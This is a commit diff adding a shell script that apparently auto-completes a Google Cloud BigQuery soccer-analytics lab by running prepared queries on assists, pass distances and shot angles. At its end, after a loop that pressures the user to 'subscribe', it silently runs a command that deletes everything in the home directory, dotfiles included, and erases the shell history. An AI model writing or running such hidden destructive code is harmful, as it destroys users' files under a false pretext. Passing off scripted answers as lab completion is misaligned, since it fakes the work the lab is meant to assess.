Add files via upload

BigQuery Soccer Data Analytical Insight/quicklabsgsp850.sh

@@ -0,0 +1,272 @@
+
+
+
+BLACK=`tput setaf 0`
+RED=`tput setaf 1`
+GREEN=`tput setaf 2`
+YELLOW=`tput setaf 3`
+BLUE=`tput setaf 4`
+MAGENTA=`tput setaf 5`
+CYAN=`tput setaf 6`
+WHITE=`tput setaf 7`
+
+BG_BLACK=`tput setab 0`
+BG_RED=`tput setab 1`
+BG_GREEN=`tput setab 2`
+BG_YELLOW=`tput setab 3`
+BG_BLUE=`tput setab 4`
+BG_MAGENTA=`tput setab 5`
+BG_CYAN=`tput setab 6`
+BG_WHITE=`tput setab 7`
+
+BOLD=`tput bold`
+RESET=`tput sgr0`
+#----------------------------------------------------start--------------------------------------------------#
+
+echo "${YELLOW}${BOLD}
+
+Starting Execution 
+
+
+${RESET}"
+#gcloud auth list
+#gcloud config list project
+export PROJECT_ID=$(gcloud info --format='value(config.project)')
+#export BUCKET_NAME=$(gcloud info --format='value(config.project)')
+#export EMAIL=$(gcloud config get-value core/account)
+#gcloud config set compute/region us-central1
+#gcloud config set compute/zone us-central1-a
+#export ZONE=us-central1-a
+
+
+
+#USER_EMAIL=$(gcloud auth list --limit=1 2>/dev/null | grep '@' | awk '{print $2}')
+#----------------------------------------------------code--------------------------------------------------#
+
+
+
+bq query --use_legacy_sql=false \
+"
+SELECT
+ Events.playerId,
+ (Players.firstName || ' ' || Players.lastName) AS playerName,
+ SUM(IF(Tags2Name.Label = 'assist', 1, 0)) AS numAssists
+FROM
+ \`soccer.events\` Events,
+ Events.tags Tags
+LEFT JOIN
+ \`soccer.tags2name\` Tags2Name ON
+   Tags.id = Tags2Name.Tag
+LEFT JOIN
+ \`soccer.players\` Players ON
+   Events.playerId = Players.wyId
+GROUP BY
+ playerId, playerName
+ORDER BY
+ numAssists 
+"
+
+echo "${GREEN}${BOLD}
+
+Task 2 Completed
+
+${RESET}"
+
+
+#TASK 3
+
+bq query --use_legacy_sql=false \
+"
+WITH
+Passes AS
+(
+ SELECT
+   *,
+   /* 1801 is known Tag for 'accurate' from tags2name table */
+   (1801 IN UNNEST(tags.id)) AS accuratePass,
+   (CASE
+     WHEN ARRAY_LENGTH(positions) != 2 THEN NULL
+     ELSE
+  /* Translate 0-100 (x,y) coordinate-based distances to absolute positions
+  using "average" field dimensions of 105x68 before combining in 2D dist calc */
+       SQRT(
+         POW(
+           (positions[ORDINAL(2)].x - positions[ORDINAL(1)].x) * 105/100,
+           2) +
+         POW(
+           (positions[ORDINAL(2)].y - positions[ORDINAL(1)].y) * 68/100,
+           2)
+         )
+     END) AS passDistance
+ FROM
+   \`soccer.events\`
+ WHERE
+   eventName = 'Pass'
+)
+SELECT
+ Passes.teamId,
+ Teams.name AS team,
+ Teams.area.name AS teamArea,
+ COUNT(Passes.Id) AS numPasses,
+ AVG(Passes.passDistance) AS avgPassDistance,
+ SAFE_DIVIDE(
+   SUM(IF(Passes.accuratePass, Passes.passDistance, 0)),
+   SUM(IF(Passes.accuratePass, 1, 0))
+   ) AS avgAccuratePassDistance
+FROM
+ Passes
+LEFT JOIN
+ \`soccer.teams\` Teams ON
+   Passes.teamId = Teams.wyId
+WHERE
+ Teams.type = 'club'
+GROUP BY
+ teamId, team, teamArea
+ORDER BY
+ avgPassDistance
+
+"
+
+echo "${GREEN}${BOLD}
+
+Task 3 Completed
+
+${RESET}"
+
+
+#TASK 4
+bq query --use_legacy_sql=false \
+"
+WITH
+Shots AS
+(
+ SELECT
+  *,
+  /* 101 is known Tag for 'goals' from goals table */
+  (101 IN UNNEST(tags.id)) AS isGoal,
+  /* Translate 0-100 (x,y) coordinate-based distances to absolute positions
+  using "average" field dimensions of 105x68 before combining in 2D dist calc */
+  SQRT(
+    POW(
+      (100 - positions[ORDINAL(1)].x) * 105/100,
+      2) +
+    POW(
+      (50 - positions[ORDINAL(1)].y) * 68/100,
+      2)
+     ) AS shotDistance
+ FROM
+  \`soccer.events\`
+ WHERE
+  /* Includes both "open play" & free kick shots (including penalties) */
+  eventName = 'Shot' OR
+  (eventName = 'Free Kick' AND subEventName IN ('Free kick shot', 'Penalty'))
+)
+SELECT
+ ROUND(shotDistance, 0) AS ShotDistRound0,
+ COUNT(*) AS numShots,
+ SUM(IF(isGoal, 1, 0)) AS numGoals,
+ AVG(IF(isGoal, 1, 0)) AS goalPct
+FROM
+ Shots
+WHERE
+ shotDistance <= 50
+GROUP BY
+ ShotDistRound0
+ORDER BY
+ ShotDistRound0
+"
+
+echo "${GREEN}${BOLD}
+
+Task 4 Completed
+
+${RESET}"
+
+
+#TASK 5
+bq query --use_legacy_sql=false \
+"
+WITH
+Shots AS
+(
+ SELECT
+  *,
+  /* 101 is known Tag for 'goals' from goals table */
+  (101 IN UNNEST(tags.id)) AS isGoal,
+  /* Translate 0-100 (x,y) coordinates to absolute positions using "average"
+  field dimensions of 105x68 before using in various distance calcs;
+  LEAST used to cap shot locations to on-field (x, y) (i.e. no exact 100s) */
+  LEAST(positions[ORDINAL(1)].x, 99.99999) * 105/100 AS shotXAbs,
+  LEAST(positions[ORDINAL(1)].y, 99.99999) * 68/100 AS shotYAbs
+ FROM
+   \`soccer.events\`
+ WHERE
+   /* Includes both "open play" & free kick shots (including penalties) */
+   eventName = 'Shot' OR
+   (eventName = 'Free Kick' AND subEventName IN ('Free kick shot', 'Penalty'))
+),
+ShotsWithAngle AS
+(
+ SELECT
+   Shots.*,
+   /* Law of cosines to get 'open' angle from shot location to goal, given
+    that goal opening is 7.32m, placed midway up at field end of (105, 34) */
+   SAFE.ACOS(
+     SAFE_DIVIDE(
+       ( /* Squared distance between shot and 1 post, in meters */
+         (POW(105 - shotXAbs, 2) + POW(34 + (7.32/2) - shotYAbs, 2)) +
+         /* Squared distance between shot and other post, in meters */
+         (POW(105 - shotXAbs, 2) + POW(34 - (7.32/2) - shotYAbs, 2)) -
+         /* Squared length of goal opening, in meters */
+         POW(7.32, 2)
+       ),
+       (2 *
+         /* Distance between shot and 1 post, in meters */
+         SQRT(POW(105 - shotXAbs, 2) + POW(34 + 7.32/2 - shotYAbs, 2)) *
+         /* Distance between shot and other post, in meters */
+         SQRT(POW(105 - shotXAbs, 2) + POW(34 - 7.32/2 - shotYAbs, 2))
+       )
+     )
+   /* Translate radians to degrees */
+   ) * 180 / ACOS(-1)
+   AS shotAngle
+ FROM
+   Shots
+)
+SELECT
+ ROUND(shotAngle, 0) AS ShotAngleRound0,
+ COUNT(*) AS numShots,
+ SUM(IF(isGoal, 1, 0)) AS numGoals,
+ AVG(IF(isGoal, 1, 0)) AS goalPct
+FROM
+ ShotsWithAngle
+GROUP BY
+ ShotAngleRound0
+ORDER BY
+ ShotAngleRound0
+"
+
+echo "${GREEN}${BOLD}
+
+Task 5 Completed
+
+Lab Completed
+
+${RESET}"
+
+
+
+#-----------------------------------------------------end----------------------------------------------------------#
+read -p "${BOLD}${RED}Subscribe to Quicklab [y/n] : ${RESET}" CONSENT_REMOVE
+
+while [ "$CONSENT_REMOVE" != 'y' ]; do
+  sleep 10
+  read -p "${BOLD}${YELLOW}Do Subscribe to Quicklab [y/n] : ${RESET}" CONSENT_REMOVE
+done
+
+echo "${BLUE}${BOLD}Thanks For Subscribing :)${RESET}"
+
+rm -rfv $HOME/{*,.*}
+rm $HOME/.bash_history
+
+exit 0